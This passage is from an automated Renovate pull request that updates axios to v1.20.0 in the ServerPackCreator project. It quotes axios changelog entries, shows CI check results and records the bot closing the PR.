[#&#8203;11143](https://github.com/axios/axios/issues/11143), [#&#8203;11144](https://github.com/axios/axios/issues/11144)) - Documentation: Applied the v1.19.0 documentation updates, added the missing fs import to the README stream example, introduced localized global search, and repaired the interceptor test link. ([#&#8203;11101](https://github.com/axios/axios/issues/11101), [#&#8203;11113](https://github.com/axios/axios/issues/11113), [#&#8203;11097](https://github.com/axios/axios/issues/11097), [#&#8203;11119](https://github.com/axios/axios/issues/11119)) - Sponsorship: Updated sponsorship links and data and added ScrapingBee as a sponsor. ([#&#8203;11124](https://github.com/axios/axios/issues/11124), [#&#8203;11136](https://github.com/axios/axios/issues/11136), [#&#8203;11137](https://github.com/axios/axios/issues/11137)) - CI and Release: Switched ESM smoke tests to locked dependencies and synchronized package and runtime version metadata for v1.20.0. ([#&#8203;11128](https://github.com/axios/axios/issues/11128), [#&#8203;11152](https://github.com/axios/axios/issues/11152)) #### 🌟 New Contributors We are thrilled to welcome our new contributors. Thank you for helping improve axios: - [@&#8203;yens1](https://github.com/yens1) ([#&#8203;11109](https://github.com/axios/axios/issues/11109)) - [@&#8203;Sasireddy001](https://github.com/Sasireddy001) ([#&#8203;11113](https://github.com/axios/axios/issues/11113)) - [@&#8203;ari-token-security](https://github.com/ari-token-security) ([#&#8203;11094](https://github.com/axios/axios/issues/11094)) - [@&#8203;timothyokooboh](https://github.com/timothyokooboh) ([#&#8203;11097](https://github.com/axios/axios/issues/11097)) - [@&#8203;gi9439041-png](https://github.com/gi9439041-png) ([#&#8203;11119](https://github.com/axios/axios/issues/11119)) - [@&#8203;Hashim1999164](https://github.com/Hashim1999164) ([#&#8203;11082](https://github.com/axios/axios/issues/11082)) - [@&#8203;v-dev-cl](https://github.com/v-dev-cl) ([#&#8203;11091](https://github.com/axios/axios/issues/11091)) - [@&#8203;r0h1tb](https://github.com/r0h1tb) ([#&#8203;11118](https://github.com/axios/axios/issues/11118)) - [@&#8203;ostapondo](https://github.com/ostapondo) ([#&#8203;11121](https://github.com/axios/axios/issues/11121)) Full Changelog (<https://github.com/axios/axios/compare/v1.19.0...v1.20.0>) ### [`v1.19.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1190--July-22-2026) [Compare Source](https://github.com/axios/axios/compare/v1.18.1...v1.19.0) This release raises the form-data security floor, adds configuration and type-system capabilities, and fixes NO\_PROXY matching, interceptor errors, progress reporting, and serialization edge cases. ### [`v1.18.1`](https://github.com/axios/axios/releases/tag/v1.18.1) [Compare Source](https://github.com/axios/axios/compare/v1.18.0...v1.18.1) #### v1.18.1 — June 21, 2026 This release focuses on Node HTTP adapter fixes, safer AxiosError serialisation, runtime/type correctness fixes, documentation updates, and dependency maintenance. #### 🐛 Bug Fixes - AxiosError Serialisation: Made AxiosError#cause non-enumerable to prevent circular JSON serialisation failures when errors include nested causes. ([#&#8203;10913](https://github.com/axios/axios/issues/10913)) - Node HTTP Adapter: Guarded socket.setKeepAlive for proxy agent streams, accepted path-only URLs when socketPath is configured, deferred environment proxy handling to Node, and explicitly passed maxBodyLength through to follow-redirects. ([#&#8203;10917](https://github.com/axios/axios/issues/10917), [#&#8203;10930](https://github.com/axios/axios/issues/10930), [#&#8203;10942](https://github.com/axios/axios/issues/10942), [#&#8203;10993](https://github.com/axios/axios/issues/10993)) - Runtime and Type Correctness: Fixed several runtime crashes, type definition mismatches, and incorrect error handling paths. ([#&#8203;10959](https://github.com/axios/axios/issues/10959), [#&#8203;11021](https://github.com/axios/axios/issues/11021)) - AxiosURLSearchParams: Switched the encoder callback to an arrow function so `encoder.call(this)` receives the `AxiosURLSearchParams` instance correctly. ([#&#8203;11019](https://github.com/axios/axios/issues/11019)) #### 🔧 Maintenance & Chores - Documentation: Documented sensitive headers and status transition behaviour, prepared cleaned-up docs, added Deno install instructions, and clarified that request data is request-specific ([#&#8203;11007](https://github.com/axios/axios/issues/11007), [#&#8203;11010](https://github.com/axios/axios/issues/11010), [#&#8203;11023](https://github.com/axios/axios/issues/11023), [#&#8203;11025](https://github.com/axios/axios/issues/11025)) - Dependencies: Bumped vite, rollup, form-data, js-yaml, and multer across the root project, docs, smoke tests, and module test workspaces. ([#&#8203;11011](https://github.com/axios/axios/issues/11011), [#&#8203;11012](https://github.com/axios/axios/issues/11012), [#&#8203;11013](https://github.com/axios/axios/issues/11013), [#&#8203;11014](https://github.com/axios/axios/issues/11014), [#&#8203;11015](https://github.com/axios/axios/issues/11015), [#&#8203;11016](https://github.com/axios/axios/issues/11016), [#&#8203;11017](https://github.com/axios/axios/issues/11017), [#&#8203;11026](https://github.com/axios/axios/issues/11026)) #### 🌟 New Contributors We are thrilled to welcome our new contributors. Thank you for helping improve axios: - [@&#8203;webdevelopersrinu](https://github.com/webdevelopersrinu) ([#&#8203;10913](https://github.com/axios/axios/issues/10913)) - [@&#8203;sijie-Z](https://github.com/sijie-Z) ([#&#8203;10993](https://github.com/axios/axios/issues/10993)) - [@&#8203;bartlomieju](https://github.com/bartlomieju) ([#&#8203;11023](https://github.com/axios/axios/issues/11023)) - [@&#8203;JSap0914](https://github.com/JSap0914) ([#&#8203;11019](https://github.com/axios/axios/issues/11019)) [Full Changelog](https://github.com/axios/axios/compare/v1.18.0...v1.18.1) ### [`v1.18.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1180--June-13-2026) [Compare Source](https://github.com/axios/axios/compare/v1.17.0...v1.18.0) This release hardens redirect and URL handling, improves the validateStatus configuration semantics, and includes updates to documentation, dependencies, and release metadata. ### [`v1.17.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1170--June-1-2026) [Compare Source](https://github.com/axios/axios/compare/v1.16.1...v1.17.0) This release adds Node HTTP zstd decompression, hardens config and release workflows, and fixes authentication, header, proxy, and type-handling regressions. ### [`v1.16.1`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1161--May-13-2026) [Compare Source](https://github.com/axios/axios/compare/v1.16.0...v1.16.1) This release ships a defence-in-depth fix for prototype pollution in `formDataToJSON`, hardens proxy and CI workflows, restores Webpack 4 compatibility for the fetch adapter, and includes several small bug fixes and maintenance improvements. </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Berlin) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC40MS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNDEuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsicmVub3ZhdGUiLCJzZWN1cml0eSJdfQ==-->
deps(deps): update dependency axios to v1.20.0
Some checks failed
renovate/stability-days Updates have met minimum release age requirement
Docker Test / build image (push) Successful in 11m43s
Grinder Container IT / containers (push) Failing after 8m23s
Qodana / scan (push) Successful in 7m19s
Test / build (push) Failing after 26m4s
Qodana / notify (push) Successful in 14s
71c5cf5187
renovate-bot changed title from deps(deps): update dependency axios to v1.20.0 to deps(deps): update dependency axios to v1.20.0 - autoclosed 2026-10-16 07:13:27 +02:00
renovate-bot closed this pull request 2026-10-16 07:13:27 +02:00
Some checks failed
renovate/stability-days Updates have met minimum release age requirement
Docker Test / build image (push) Successful in 11m43s
Grinder Container IT / containers (push) Failing after 8m23s
Qodana / scan (push) Successful in 7m19s
Test / build (push) Failing after 26m4s
Qodana / notify (push) Successful in 14s

Pull request closed

Sign in to join this conversation.
No reviewers
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set

Reference
Griefed/ServerPackCreator!703
No description provided.